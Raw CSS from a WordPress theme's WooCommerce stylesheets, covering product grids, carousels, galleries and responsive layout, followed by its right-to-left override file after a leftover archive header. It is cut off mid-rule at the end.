.woocommerce .woocommerce-MyAccount-content .woocommerce-message:after {
	display: none;
}
@media only screen and (max-width: 767px) {
	.woocommerce-MyAccount-content .woocommerce-account .woocommerce-MyAccount-content,
	.woocommerce-account .woocommerce-MyAccount-navigation {
		float: none;
		width: 100%;
	}
	.woocommerce .woocommerce-MyAccount-content .woocommerce-error,
	.woocommerce .woocommerce-MyAccount-content .woocommerce-info,
	.woocommerce .woocommerce-MyAccount-content .woocommerce-message {
		flex-direction: column-reverse;
	}
	ul.products .penci-soledad-product .penci-product-loop-button a.button.penci-quickview-button,
	ul.products .penci-soledad-product .penci-product-loop-button a.button.penci-compare {
		display: none;
	}
}
@media only screen and (min-width: 961px) {
	.woocommerce .penci_sidebar div.product.penci-product-img-fullwidth-container div.summary,
	.woocommerce-page .penci_sidebar div.product.penci-product-img-fullwidth-container div.summary,
	.woocommerce .product.penci-product-img-fullwidth-container div.summary {
		max-width: var(--pc-sf-sum-w);
		width: auto;
		margin-left: auto;
		margin-right: auto;
	}
}
@media only screen and (min-width: 728px) and (max-width: 960px) {
	.woocommerce .product.penci-product-img-fullwidth-container div.summary {
		width: 726px;
		margin-left: auto;
		margin-right: auto;
	}
}
@media only screen and (min-width: 480px) and (max-width: 767px) {
	.woocommerce .product.penci-product-img-fullwidth-container div.summary {
		width: 440px;
		margin-left: auto;
		margin-right: auto;
	}
}
@media only screen and (max-width: 479px) {
	.woocommerce .product.penci-product-img-fullwidth-container div.summary {
		width: 100%;
	}
	.woocommerce .penci-woo-page-container {
		padding-left: 20px;
		padding-right: 20px;
	}
	.woocommerce.penci-products-tabs .penci-woo-page-container {
		padding-left: 0;
		padding-right: 0;
	}
}
.woocommerce .products ul.penci-woo-product-loop-categories {
	display: flex;
	flex-wrap: wrap;
	flex-direction: row;
	margin-bottom: 60px;
	padding-bottom: 30px;
	position: relative;
}
.woocommerce ul.products ul.penci-woo-product-loop-categories.columns-4 li.product,
.woocommerce-page ul.products ul.penci-woo-product-loop-categories.columns-4 li.product {
	width: 25%;
}
.woocommerce .products ul.penci-woo-product-loop-categories.display-style-carousel {
	flex-wrap: nowrap;
	overflow: hidden;
	margin-left: 0;
	margin-right: 0;
}
.woocommerce ul.products ul.penci-woo-product-loop-categories.display-style-carousel.columns-6 li.product,
.woocommerce-page ul.products ul.penci-woo-product-loop-categories.display-style-carousel.columns-6 li.product {
	width: calc(16.6666666667% - 25px);
}
.woocommerce ul.products ul.penci-woo-product-loop-categories.display-style-carousel.columns-5 li.product,
.woocommerce-page ul.products ul.penci-woo-product-loop-categories.display-style-carousel.columns-5 li.product {
	width: calc(20% - 24px);
}
.woocommerce ul.products ul.penci-woo-product-loop-categories.display-style-carousel.columns-4 li.product,
.woocommerce-page ul.products ul.penci-woo-product-loop-categories.display-style-carousel.columns-4 li.product {
	width: calc(25% - 22px);
}
.woocommerce ul.products ul.penci-woo-product-loop-categories.display-style-carousel.columns-3 li.product,
.woocommerce-page ul.products ul.penci-woo-product-loop-categories.display-style-carousel.columns-3 li.product {
	width: calc(33.3333333333% - 20px);
}
.woocommerce ul.products ul.penci-woo-product-loop-categories.display-style-carousel.columns-2 li.product,
.woocommerce-page ul.products ul.penci-woo-product-loop-categories.display-style-carousel.columns-2 li.product {
	width: calc(50% - 15px);
}
.woocommerce .products ul.penci-woo-product-loop-categories.display-style-carousel.penci-owl-loaded {
	flex-wrap: wrap;
	overflow: visible;
}
.woocommerce .products ul.penci-woo-product-loop-categories.display-style-carousel li {
	margin-bottom: 0;
	padding: 1px;
	margin-right: 30px;
}
@media only screen and (max-width: 767px) {
	.woocommerce ul.products li.product-category .woocommerce-loop-category__wrapper {
		padding: 10px;
	}
	.woocommerce ul.products li.product .woocommerce-loop-category__title {
		font-size: var(--pcl_l_cat_tt_fs_m);
	}
	.woocommerce ul.products li.product span.count {
		font-size: var(--pcl_l_cat_fs_m);
	}
}
@media only screen and (min-width: 767px) {
	.woocommerce .products ul.penci-woo-product-loop-categories {
		padding-left: 15px;
		padding-right: 15px;
	}
}
.woocommerce .products ul.penci-woo-product-loop-categories:after {
	content: '';
	position: absolute;
	bottom: 0;
	left: 30px;
	right: 30px;
	border-bottom: 1px solid var(--pcpage_gbdr_cl);
	display: block;
}
.woocommerce ul.products ul.penci-woo-product-loop-categories.penci-woo-product-loop-categories.penci-owl-carousel:after {
	left: 15px;
	right: 15px;
}
@media only screen and (min-width: 1170px) and (max-width: 1399px) {
	.woocommerce ul.products.columns-6:not(.display-style-carousel) li.product,
	.woocommerce-page ul.products.columns-6:not(.display-style-carousel) li.product {
		margin-right: 0;
		width: 20%;
	}
}
@media only screen and (max-width: 767px) {
	.woocommerce ul.products ul.penci-woo-product-loop-categories.penci-woo-product-loop-categories:after {
		left: 0;
		right: 0;
	}
	.woocommerce ul.products.mobile-columns-2:not(.penci-owl-carousel):not(.product-list) ul.products.penci-woo-product-loop-categories.penci-owl-carousel li.product-category,
	.woocommerce-page ul.products.mobile-columns-2:not(.penci-owl-carousel):not(.product-list) ul.products.penci-woo-product-loop-categories.penci-owl-carousel li.product-category {
		width: calc(50% - 10px) !important;
		margin-right: 20px !important;
	}
	.woocommerce ul.products.mobile-columns-2:not(.penci-owl-carousel):not(.product-list):not(.swiper) ul.products.penci-woo-product-loop-categories.penci-owl-carousel.penci-owl-loaded li.product-category,
	.woocommerce-page ul.products.mobile-columns-2:not(.penci-owl-carousel):not(.product-list):not(.swiper) ul.products.penci-woo-product-loop-categories.penci-owl-carousel.penci-owl-loaded li.product-category,
	.woocommerce .penci_sidebar ul.products.mobile-columns-2:not(.penci-owl-carousel):not(.product-list):not(.swiper) ul.products.penci-woo-product-loop-categories.penci-owl-carousel.penci-owl-loaded li.product-category,
	.woocommerce-page .penci_sidebar ul.products.mobile-columns-2:not(.penci-owl-carousel):not(.product-list):not(.swiper) ul.products.penci-woo-product-loop-categories.penci-owl-carousel.penci-owl-loaded li.product-category {
		width: 100% !important;
		margin-right: 0 !important;
	}
	.pswp {
		z-index: 99999999;
	}
}
@media only screen and (min-width: 768px) and (max-width: 1169px) {
	.woocommerce ul.products.columns-6:not(.display-style-carousel) li.product,
	.woocommerce-page ul.products.columns-6:not(.display-style-carousel) li.product,
	.woocommerce ul.products.columns-5:not(.display-style-carousel) li.product,
	.woocommerce-page ul.products.columns-5:not(.display-style-carousel) li.product{
		margin-right: 0;
		width: 33.3333333333%;
	}
}
@media only screen and (min-width: 768px) and (max-width: 960px) {
	.woocommerce ul.products.columns-5:not(.display-style-carousel) li.product,
	.woocommerce-page ul.products.columns-5:not(.display-style-carousel) li.product,
	.woocommerce ul.products.columns-4:not(.display-style-carousel) li.product,
	.woocommerce-page ul.products.columns-4:not(.display-style-carousel) li.product {
		margin-right: 0;
		width: 33.3333333333%;
	}
	.woocommerce ul.products.columns-5:not(.display-style-carousel) > li.product:nth-child( 4n+4 ),
	.woocommerce-page ul.products.columns-5:not(.display-style-carousel) > li.product:nth-child( 4n+4 ),
	.woocommerce ul.products.columns-4:not(.display-style-carousel) > li.product:nth-child( 4n+4 ),
	.woocommerce-page ul.products.columns-4:not(.display-style-carousel) > li.product:nth-child( 4n+4 ) {
		margin-right: 0;
	}
	.woocommerce .products ul.penci-woo-product-loop-categories.display-style-carousel:not(.penci-owl-loaded) li {
		margin-right: 30px !important;
	}
}
@media only screen and (max-width: 767px) {
	.woocommerce .product.penci-product-img-medium div.images,
	.woocommerce .product.penci-product-img-medium div.summary {
		float: none;
		width: 100%;
	}
	.woocommerce div.product div.images .woocommerce-product-gallery__trigger {
		top: 10px;
		right: auto;
		bottom: auto;
		left: 10px;
	}
	.penci-review-style-default #comments,
	.penci-review-style-default #review_form_wrapper {
		flex: 100%;
		max-width: 100%;
	}
	.penci-review-style-default #review_form_wrapper {
		margin-top: 30px;
	}
	.penci-products-shop-view.products-view-grid_list {
		display: none;
	}
	.penci-woo-before-main-content .woocommerce-ordering {
		width: 5%;
		flex: 0 0 auto;
	}
	.penci-woo-before-main-inner-content.content-right {
		padding-top: 15px;
		border-top: 1px solid #ECECEC;
	}
	.penci-woo-before-main-inner-content.content-right .penci-products-per-page {
		font-weight: bold;
		text-transform: uppercase;
	}
	.penci-woo-before-main-inner-content .penci-product-top-filter-button {
		margin-right: 0;
	}
	.woocommerce .widget .woocommerce-ordering,
	.woocommerce-page .widget .woocommerce-ordering {
		float: none;
		width: 100%;
	}
	.woocommerce .widget .woocommerce-ordering select,
	.woocommerce-page .widget .woocommerce-ordering select {
		width: 100%;
		max-width: unset;
	}
	.woocommerce nav.woocommerce-pagination ul li,
	.woocommerce .woocommerce-pagination ul.page-numbers li,
	.woocommerce-page .woocommerce-pagination ul.page-numbers li {
		float: none;
	}
	.woocommerce .products ul.penci-woo-product-loop-categories.display-style-carousel:not(.penci-owl-loaded) li {
		margin-right: 30px !important;
	}
	body.woocommerce-cart .entry-content .woocommerce .woocommerce-cart-form, body.woocommerce-cart .entry-content .woocommerce .cart-collaterals {
		padding-left: 0;
		padding-right: 0;
	}
}
@media only screen and (min-width: 479px) and (max-width: 767px) {
	.penci-woo-before-main-inner-content.content-left {
		padding-top: 15px;
	}
}
@media only screen and (max-width: 767px) {
	.container.penci-breadcrumb.penci-woo-breadcrumb.top {
		padding: 0;
	}
	.woocommerce ul.products.mobile-columns-2:not(.penci-owl-carousel):not(.product-list),
	.woocommerce-page ul.products.mobile-columns-2:not(.penci-owl-carousel):not(.product-list),
	.woocommerce .penci_sidebar ul.products.mobile-columns-2:not(.penci-owl-carousel):not(.product-list),
	.woocommerce-page .penci_sidebar ul.products.mobile-columns-2:not(.penci-owl-carousel):not(.product-list) {
		margin-left: -5px;
		margin-right: -5px;
	}
	.woocommerce ul.products.mobile-columns-2:not(.penci-owl-carousel):not(.product-list) li.product,
	.woocommerce-page ul.products.mobile-columns-2:not(.penci-owl-carousel):not(.product-list) li.product,
	.woocommerce .penci_sidebar ul.products.mobile-columns-2:not(.penci-owl-carousel):not(.product-list) li.product,
	.woocommerce-page .penci_sidebar ul.products.mobile-columns-2:not(.penci-owl-carousel):not(.product-list) li.product {
		width: 50% !important;
		margin-right: 0 !important;
		margin-bottom: 15px;
		padding-left: 5px;
		padding-right: 5px;
	}
	.woocommerce ul.products.mobile-columns-2 li.product:nth-child(2n+2),
	.woocommerce-page ul.products.mobile-columns-2 li.product:nth-child(2n+2),
	.woocommerce ul.products.mobile-columns-2 li.product:nth-child(2n+2),
	.woocommerce-page ul.products.mobile-columns-2 li.product:nth-child(2n+2),
	.woocommerce .penci_sidebar ul.mobile-columns-2 > li.product:nth-child(2n+2),
	.woocommerce-page .penci_sidebar ul.mobile-columns-2 > li.product:nth-child(2n+2) {
		margin-right: 0 !important;
	}
	.penci-woo-before-main-content .penci-woo-before-main-inner-content {
		flex: 100%;
	}
	.penci-woo-before-main-content .penci-woo-before-main-inner-content.content-left {
		justify-content: space-between;
		padding-top: 10px;
	}
	.penci-woo-before-main-content .penci-woo-before-main-inner-content.content-left .penci-container-inside.penci-woo-breadcrumb, .container.penci-woo-breadcrumb {
		width: 50% !important;
	}
	body.single-product .penci-woo-before-main-content .penci-woo-before-main-inner-content.content-left .penci-container-inside.penci-woo-breadcrumb,
	body.single-product .container.penci-woo-breadcrumb {
		width: 100% !important;
	}
	body.woocommerce-page .woocommerce-products-header {
		margin-left: -20px;
		margin-right: -20px;
	}
	.penci-woo-before-main-content .penci-woo-before-main-inner-content {
		padding-left: 20px;
		padding-right: 20px;
	}
	.penci-product-top-filter-button {
		margin-left: 0;
	}
	.woocommerce .content-left .container.penci-breadcrumb.penci-woo-breadcrumb.top {
		width: auto !important;
	}
	.woocommerce .penci-woo-before-main-inner-content.content-left .woocommerce-result-count {
		margin: 0;
		font-size: 13px;
		text-align: right;
		align-self: center;
		display: flex;
	}
	.penci-woo-before-main-content .penci-woo-before-main-inner-content.content-right {
		justify-content: space-between;
		margin-top: 15px;
	}
	.penci-woo-before-main-content .penci-woo-before-main-inner-content.content-right .penci-products-per-page {
		display: none;
	}
	.penci-woo-before-main-content .penci-woo-before-main-inner-content.content-right .penci-products-per-page,
	.penci-woo-before-main-content .penci-woo-before-main-inner-content.content-right .woocommerce-ordering {
		flex: 0 0 48%;
		max-width: 48%;
		margin: 0;
	}
	.penci-woo-before-main-content .penci-woo-before-main-inner-content.content-right .woocommerce-ordering {
		width: 30px;
		flex: 0 0 auto;
		position: relative;
	}
	.penci-woo-before-main-content .penci-woo-before-main-inner-content.content-right .woocommerce-ordering select {
		opacity: 0;
	}
	.penci-woo-before-main-content .penci-woo-before-main-inner-content.content-right .woocommerce-ordering:before {
		opacity: 1;
		content: '\f16b';
		transform: rotate(90deg);
		font-family: 'penciicon', serif;
		position: absolute;
		text-align: center;
		line-height: 30px;
		font-size: 18px;
		top: 0;
		left: 0;
		right: 0;
		bottom: 0;
	}
	.variations select,
	.woocommerce-ordering select {
		width: 100%;
		max-width: 160px;
	}
	body.single.single-product #header,
	body.post-type-archive-product #header {
		margin-bottom: 15px;
	}
	body.single.single-product #header {
		margin-bottom: 0;
	}
	.woocommerce div.product div.images,
	.woocommerce div.product div.summary {
		margin-bottom: 15px;
	}
	.woocommerce div.product div.summary .penci-woo-breadcrumb {
		overflow-x: scroll;
		margin-bottom: 15px;
		white-space: nowrap;
	}
	.penci-top-relate-post {
		position: relative;
	}
	.penci-top-relate-post ul {
		justify-content: space-between;
		margin-bottom: 15px;
		padding-bottom: 15px;
		border-bottom: 1px solid var(--pcborder-cl);
	}
	body.tax-product_cat #header {
		margin-bottom: 10px;
	}
}
@media only screen and (max-width: 767px) {
	.woocommerce-product-gallery.thumbnail-left .penci-product-gallery-slider {
		margin-left: 0;
	}
	.woocommerce-product-gallery.thumbnail-right .penci-product-gallery-slider {
		margin-right: 0;
	}
	.woocommerce-product-gallery.thumbnail-right .penci-thumbnail-slider,
	.woocommerce-product-gallery.thumbnail-left .penci-thumbnail-slider {
		position: relative;
		top: 0;
		right: 0;
		bottom: 0;
		left: 0;
		width: 100%;
		height: auto;
		margin-top: 10px;
	}
	.woocommerce-product-gallery .penci-thumbnail-slider .penci-custom-thumbnail-nav {
		position: static;
	}
	.woocommerce-product-gallery .penci-thumbnail-slider .penci-custom-thumbnail-nav button {
		width: 50px;
		height: 50px;
		background-color: transparent;
		position: absolute;
		top: 50%;
		bottom: 50%;
		margin-top: -25px;
		left: 0;
	}
	.woocommerce-product-gallery .penci-thumbnail-slider .penci-custom-thumbnail-nav button:hover {
		background-color: transparent;
	}
	.woocommerce-product-gallery .penci-thumbnail-slider .penci-custom-thumbnail-nav button.penci-product-slider-next {
		left: auto;
		right: 0;
	}
	.woocommerce-product-gallery .penci-thumbnail-slider .penci-custom-thumbnail-nav button.penci-product-slider-prev i,
	.woocommerce-product-gallery .penci-thumbnail-slider .penci-custom-thumbnail-nav button.penci-product-slider-next i {
		transform: rotate(270deg);
	}
	.woocommerce-product-gallery .penci-thumbnail-slider .splide__track {
		/*display: flex;
		justify-content: center;*/
	}
	.woocommerce-product-gallery .penci-thumbnail-slider .splide__track figure.splide__slide {
		padding-left: 5px;
		padding-right: 5px;
	}
	.woocommerce div.penci-product-img-fullwidth-container figure.splide__slide {
		opacity: 1;
	}
}
.woocommerce.product-layout-carousel ul.products li.product {
	margin-bottom: 0;
}
.woocommerce-single-tab-content.post-entry {
	margin-bottom: 0;
}
.elementor-widget-penci_products .penci-custom-products .penci-products-preloader {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	z-index: 999999;
	display: flex;
	justify-content: center;
	align-items: center;
	visibility: hidden;
}
.elementor-widget-penci_products .pre-load-content .penci-custom-products ul.products {
	opacity: 0;
}
.elementor-widget-penci_products .pre-load-content .penci-custom-products .penci-products-preloader {
	visibility: visible;
}
body #main .elementor-widget-penci_products .pre-load-content .penci-custom-products ul.products,
.elementor-widget-penci_products .pre-load-content .penci-custom-products ul.products {
	opacity: 0.5;
	pointer-events: none;
}
.woocommerce ul.cart_list li dl,
.woocommerce ul.product_list_widget li dl {
	padding-left: 0;
	border-left: 0;
	display: none;
}
.woocommerce ul.cart_list li dl dt, .woocommerce ul.cart_list li dl dd, .woocommerce ul.product_list_widget li dl dt, .woocommerce ul.product_list_widget li dl dd {
	float: none;
}
.woocommerce ul.cart_list li dl dt, .woocommerce ul.product_list_widget li dl dt {
	margin: 0;
	padding: 0;
}
.woocommerce div.product .quick-shop-wrapper .variations_form,
.quick-shop-wrapper .variations_form {
	transition: margin-bottom .3s ease;
	width: 100%;
}
.woocommerce div.product .quick-shop-wrapper form.cart .reset_variations,
.quick-shop-wrapper .variations_form a.reset_variations {
	margin-left: 0;
	margin-right: 0;
	position: absolute;
	left: 50%;
	bottom: -30px;
	transform: translateX(-50%);
	width: 100%;
}
@media only screen and (max-width: 767px) {
	.woocommerce div.product .quick-shop-wrapper form.cart .reset_variations,
	.quick-shop-wrapper .variations_form a.reset_variations {
		bottom: 30px;
		top: 30px;
	}
}
.quick-shop-wrapper .variations_form .penci-swatches .swatch {
	margin-bottom: 5px;
}
.woocommerce div.product .quick-shop-wrapper form.cart .variations select {
	margin-bottom: 0;
	margin-right: 0;
}
.woocommerce div.product .quick-shop-wrapper form.cart.has-selected-swatch,
.quick-shop-wrapper .variations_form.has-selected-swatch {
	margin-bottom: 40px;
}
.penci-thumbnail-image-wrapper:not(.swiper-initialized) figure {
	display: inline-block;
	max-width: 100px;
	max-height: 100px;
	height: auto;
	padding-bottom: 6px;
	opacity: 1;
}
.thumbnail-right .penci-thumbnail-image-wrapper figure,
.thumbnail-left .penci-thumbnail-image-wrapper figure {
	height: 100% !important;
	max-height: 107.8px;
}
.woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-image-wrapper figure {
	max-width: 106px;
	margin-right: 10px;
}
.penci-content-quickview .woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-image-wrapper figure {
	max-width: 82.6px;
}
.woocommerce div.product div.images.no-js .woocommerce-product-gallery__wrapper:not(:first-child) {
	display: none;
}
.woocommerce div.product.penci-product-img-fullwidth-container div.images.no-js .woocommerce-product-gallery__wrapper {
	flex: 0 0 auto;
	width: calc(33.3333333333% - 20px);
	margin-right: 30px;
}
.woocommerce div.product.penci-product-img-fullwidth-container div.images.no-js .woocommerce-product-gallery__wrapper:not(:first-child) {
	display: block;
}
.woocommerce div.product.penci-product-img-fullwidth-container div.images.no-js .penci-gallery-image-list {
	display: flex;
	overflow: hidden;
}
.woocommerce .woocommerce-ordering select,
.woocommerce ul.cart_list li div.quantity .qty, .woocommerce ul.cart_list li div.quantity input[type="number"], .woocommerce ul.cart_list li div.quantity input[type="button"], .woocommerce ul.product_list_widget div.quantity input[type="button"] {
	background-color: transparent;
}
.woocommerce .slider > ul.products,
.products.slider ul.products,
.products.slider ul.products.penci-owl-carousel-slider {
	flex-wrap: nowrap;
	overflow: hidden;
	margin-right: 0;
	margin-left: 0;
}
.woocommerce .slider > ul.products li,
.slider > ul.products.penci-owl-carousel-slider li,
.products.slider ul.products.penci-owl-carousel-slider li {
	padding: 0;
	margin-right: 30px;
	float: none;
	flex-shrink: 0;
}
.products.penci-owl-carousel:not(.penci-owl-loaded) > .swiper-wrapper {
	display: flex;
	flex-wrap: nowrap;
	overflow: hidden;
}
.woocommerce .slider > ul.products.columns-2 li,
.slider > ul.products.penci-owl-carousel-slider.columns-2 li,
.products.slider ul.products.penci-owl-carousel-slider.columns-2 li {
	width: calc(50% - 15px);
}
.woocommerce .slider > ul.products.columns-3 li,
.slider > ul.products.penci-owl-carousel-slider.columns-3 li,
.products.slider ul.products.penci-owl-carousel-slider.columns-3 li {
	width: calc(33.3333333333% - 20px);
}
.woocommerce .slider > ul.products.columns-4 li,
.slider > ul.products.penci-owl-carousel-slider.columns-4 li,
.products.slider ul.products.penci-owl-carousel-slider.columns-4 li {
	width: calc(25% - 22.5px);
}
.woocommerce .slider > ul.products.columns-5 li,
.slider > ul.products.penci-owl-carousel-slider.columns-5 li,
.products.slider ul.products.penci-owl-carousel-slider.columns-5 li {
	width: calc(20% - 24px);
}
.woocommerce .slider > ul.products.columns-6 li,
.slider > ul.products.penci-owl-carousel-slider.columns-6 li,
.products.slider ul.products.penci-owl-carousel-slider.columns-6 li {
	width: calc(16.6666666667% - 25px);
}
.woocommerce .slider > ul.products.penci-owl-carousel-slider.penci-owl-loaded,
.products.slider ul.products.penci-owl-carousel-slider.penci-owl-loaded {
	flex-wrap: wrap;
}
.woocommerce .slider > ul.products.penci-owl-carousel-slider.penci-owl-loaded li.product,
.products.slider ul.products.penci-owl-carousel-slider.penci-owl-loaded li.product {
	width: 100%;
	margin-right: 0;
	padding: 0;
}
@media only screen and (max-width: 767px) {
	html .woocommerce .products.slider > ul.products.mobile-columns-2 > li.product,
	html .woocommerce-page .products.slider > ul.products.mobile-columns-2 > li.product,
	html .woocommerce .penci_sidebar .products.slider > ul.products.mobile-columns-2 > li.product,
	html .woocommerce-page .penci_sidebar .products.slider > ul.products.mobile-columns-2 > li.product,
	.products.slider ul.products.penci-owl-carousel.mobile-columns-2 > li.product {
		width: calc(50% - 12px) !important;
		margin-right: 20px !important;
		padding: 0 !important;
	}
}
.up-sells.upsells.products {
	margin-top: 60px;
}
.pcw-breadcrumb-summary .penci-single-product-top-container {
	padding-top: 0;
}
.woocommerce-notice.woocommerce-thankyou-order-received {
	text-align: center;
}
.pc-proterm-description.post-entry {
	margin-bottom: 10px;
}
.pc-proterm-description.post-entry.pc-proterm-description-bottom {
  margin: -30px 0 30px;
}
.pc-proterm-description:empty {
	display: none;
}
.woocommerce-no-js .woocommerce-tabs .woocommerce-Tabs-panel {
	display: none;
}
.woocommerce-no-js .woocommerce-tabs .tabs + .woocommerce-Tabs-panel {
	display: block;
}PK     N\yGY9  Y9  -  inc/woocommerce/css/penci-woocommerce-rtl.cssnu [        body.rtl #navigation.header-10 .pcheader-icon.top-search-classes {
	margin-right: 10px;
}
body.rtl .penci-woo-before-main-content .penci-products-per-page a {
	margin-left: 0;
	margin-right: 10px;
}
body.rtl .products.product-style-4 .woocommerce-loop-product__title, .products.product-style-4 .price {
	text-align: right;
}
body.rtl .products.product-style-4 .penci-product-loop-title .button {
	text-align: right;
}
body.rtl .products.product-style-4 .penci-product-loop-title .button {
	justify-content: right;
}
body.rtl .products.product-style-4 .penci-product-loop-title .button.loading:before{
	margin: -2px 0 0 10px;
}
body.rtl .pcheader-icon.shoping-cart-icon {
	margin-left: 0;
}
body.rtl .penci-product-top-filter-button,
body.rtl .penci-woo-before-main-content .penci-products-per-page,
body.rtl .penci-woo-before-main-content .penci-products-shop-view {
	margin-left: 0;
	margin-right: 15px;
}
body.rtl .penci-woo-before-main-content .penci-wofilter-inner > div:first-child {
	margin-right: 0;
}
body.rtl .penci-woo-page-container.penci_sidebar.left-sidebar .sidebar-both .penci-single-product-sidebar-wrap,
body.rtl .penci-woo-page-container.penci_sidebar.left-sidebar .sidebar-bottom .penci-single-product-bottom-container .bottom-content {
	padding-left: 0;
	padding-right: 60px;
}
body.rtl .penci-extra-buttons .penci-addtowishlist.button:before,
body.rtl .penci-extra-buttons .compare.button:before {
	margin-right: 0;
	margin-left: 5px;
}
body.rtl.woocommerce .penci-extra-buttons > .button {
	margin-right: 0;
	margin-left: 20px;
}
.woocommerce ul.cart_list .product-cart-info,
.woocommerce ul.product_list_widget .product-cart-info,
.woocommerce div.product div.images,
.woocommerce #content div.product div.images,
.woocommerce-page div.product div.images,
.woocommerce-page #content div.product div.images {
	float: right;
}
.penci-sidebar-cart .woocommerce-mini-cart__total.total .amount,
.woocommerce div.product div.summary,
.woocommerce #content div.product div.summary,
.woocommerce-page div.product div.summary,
.woocommerce-page #content div.product div.summary {
	float: left;
}
.penci-top-relate-post {
	right: auto;
	left: 0;
}
.penci-top-relate-post ul {
	flex-direction: row-reverse;
}
.penci-top-relate-post ul li:last-child {
	margin-left: 0;
}
.penci-top-relate-post .inner-content {
	right: auto;
	left: 0;
}
.penci-top-relate-post .top-ralate-item .top-ralate-item__summary {
	margin-left: 0;
	margin-right: 15px;
}
@media only screen and (min-width: 768px) {
	.woocommerce div.product .product_title {
		padding-right: 0;
		padding-left: 110px;
	}
	.woocommerce div.product.penci-summary-align-center .product_title {
		padding-right: 110px;
	}
	.woocommerce div.product.penci-product-img-fullwidth .product_title,
	.woocommerce div.product.penci-product-img-fullwidth-container .product_title,
	.woocommerce div.product.penci-product-img-large .product_title {
		padding-left: 0;
		padding-right: 0;
	}
}
body.rtl.woocommerce .penci_sidebar ul.products li.product,
body.rtl.woocommerce-page .penci_sidebar ul.products li.product {
	margin-left: 0;
}
.variations_form a.reset_variations::before {
	margin-left: 5px;
	margin-right: 0;
}
.woocommerce div.product form.cart .reset_variations, .variations_form a.reset_variations {
	margin-right: 10px;
	margin-left: 0;
}
.products .penci-soledad-product .penci-removewishlist.button:before {
	margin-left: 5px;
	margin-right: 0;
}
.penci-header-cart-detail,
.brands-list .brand-item,
.header-header-ecommerce #logo,
.penci-top-relate-post .top-ralate-item .top-ralate-item__summary,
.header-header-ecommerce .sub-nav-wrapper .vertical-shop-menu ul ul.menu-shop,
.woocommerce div.penci-summary-align-center form.cart .variations td.value,
.products.product-list .penci-soledad-product .penci-product-loop-title,
.products.product-style-4 .woocommerce-loop-product__title,
.products.product-style-4 .price,
.products.product-style-4 .penci-product-loop-title .button,
.products.product-style-2 .woocommerce-loop-product__title,
.products.product-style-6 .woocommerce-loop-product__title,
.products.product-style-6 .price,
.penci-products-compare-table .compare-field {
	text-align: right;
}
.penci-products-compare-table .compare-value .stock.in-stock:before {
	margin-left: 5px;
	margin-right: 0;
}
.penci-products-compare-table .penci-compare-col {
	border-right: 0;
	border-left: 1px solid var(--pcpage_gbdr_cl);
}
.penci-products-compare-table .penci-compare-col:last-child {
	border-left: 0;
}
.woocommerce #respond input#submit.loading:after,
body.rtl .woocommerce a.button.loading:after,
.woocommerce button.button.loading:after,
.woocommerce input.button.loading:after {
	margin-right: -5px;
}
.quick-view-wrapper .summary.entry-summary,
.woocommerce div.product .product_meta {
	text-align: right;
}
.woocommerce .penci-extra-buttons > .button {
	margin-right: 0;
	margin-left: 15px;
}
.woocommerce .penci-extra-buttons > .button:after {
	display: inline-block;
}
.woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-slider .penci-custom-thumbnail-nav button.penci-product-slider-prev {
	left: 0;
}
body.rtl.woocommerce ul.products li.product,
body.rtl.woocommerce-page ul.products li.product {
	margin-left: 0;
	margin-bottom: 30px;
}
.products.icon-style-round .penci-product-loop-button > a.button.loading:after {
	margin: -2px -8px 0 0;
}
.woocommerce ul.products.penci-owl-carousel-slider li.product,
.woocommerce-page ul.products.penci-owl-carousel-slider li.product {
	float: none;
	margin: 0 0 30px;
}
body.woocommerce-cart .entry-content .woocommerce .cart-collaterals .cart_totals table th {
	padding-right: 0;
}
.penci-swatches .swatch {
	margin-right: 0;
	margin-left: 8px;
}
.penci-swatches .swatch:last-child {
	margin-left: 0;
}
body.rtl .woocommerce ul.products li.product,
body.rtl.woocommerce ul.products li.product,
body.rtl.woocommerce-page ul.products li.product,
body.rtl .woocommerce-page ul.products li.product {
	float: none;
	margin: 0 0 30px;
}
.woocommerce .thumbnail-left .penci-single-product-top-container .product-labels,
.woocommerce .penci-single-product-top-container .product-labels {
	left: auto;
	right: 10px;
	top: auto;
	transform: translateY(10px);
}
.woocommerce div.product div.images .woocommerce-product-gallery__trigger {
	right: auto;
	left: 120px;
}
.single-product-share .share-title {
	margin-right: 0;
	margin-left: 5px;
}
.woocommerce table.shop_attributes tr td {
	text-align: left;
}
.woocommerce #review_form #respond p.stars > span {
	padding: 5px 15px 0 0;
}
.penci-sidebar-cart .sidecart-content ul li {
	padding: 15px 15px 15px 40px;
}
.woocommerce .widget_shopping_cart .cart_list li,
.woocommerce.widget_shopping_cart .cart_list li {
	padding-left: 40px;
}
body.rtl .woocommerce .widget_shopping_cart .cart_list li a.remove,
body.rtl .woocommerce.widget_shopping_cart .cart_list li a.remove {
	right: auto;
	left: 0;
}
.woocommerce .widget_price_filter .price_label {
	text-align: right;
}
.penci-product-top-filter-button a span {
	margin-left: 0;
	margin-right: 5px;
}
.woocommerce .widget.woocommerce.widget_product_categories li span.count {
	float: left;
}
.single-product-share a {
	margin-right: 0;
	margin-left: 12px;
}
.woocommerce div.product .woocommerce-tabs .panel > h2:first-child, .woocommerce div.product .woocommerce-tabs .panel #reviews #comments h2, .woocommerce div.product .woocommerce-tabs .panel #respond h3.comment-reply-title, .woocommerce div.product .woocommerce-tabs .panel #respond .comment-reply-title {
	text-align: right;
}
.woocommerce ul.cart_list li, .woocommerce ul.product_list_widget li {
	padding-right: 20px;
	padding-left: 40px;
}
.widget .swatches-display-list .wc-layered-nav-term.with-swatch-color .swatch-inner .filter-swatch {
	margin-right: 0;
	margin-left: 10px;
}
.soledad-product-filter .swatches-display-list li .layered-nav-link, .soledad-product-filter .swatches-display-double li .layered-nav-link {
	float: right;
}
.soledad-product-filter .swatches-display-list li .count, .soledad-product-filter .swatches-display-double li .count {
	float: left;
}
.widget .swatches-display-list .wc-layered-nav-term.with-swatch-color .count {
	padding-left: 0;
	padding-right: 0;
}
.penci-products-compare-table .penci-top-button a:before {
	margin-left: 5px;
	margin-right: 0;
}
body.rtl .woocommerce.penci-products-compare-table .penci-top-button a.button.penci-compare.loading:after,
.products .penci-soledad-product .penci-removewishlist.button.loading:after {
	margin-left: 0;
	margin-right: 5px;
}
.products.icon-style-round.icon-align-vertical.icon-position-top-left .penci-product-loop-buttons,
.products.icon-style-round.icon-align-vertical.icon-position-bottom-left .penci-product-loop-buttons {
	left: 0;
	right: auto;
	justify-content: flex-start;
}
.woocommerce .widget_layered_nav_filters ul li {
